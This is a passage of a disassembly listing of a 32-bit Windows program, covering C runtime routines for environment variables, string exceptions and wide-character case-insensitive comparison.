		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2A0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2A4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2A0, eax

loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2A8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D

loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh

loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2A8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A8, eax
		jz	short loc_42620F
		mov	[eax], edi

loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2A0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx

loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------

loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------

loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi

loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2A0, eax

loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25E0000h
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]

loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D

loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344

loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		neg	eax

loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB

loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1

loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx

loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------

loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]

loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC7E1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------

loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452

loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------

loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------

loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx

loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2852186h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h

loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h

loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------

loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2

loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi

loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------

loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx

loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------

loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 2670345h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB334, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB334
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB58C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB58C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------

loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE2C
		push	edi
		push	esi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB58C, 2

loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB58C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		jmp	loc_426B7F
; ---------------------------------------------------------------------------

loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2821017h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
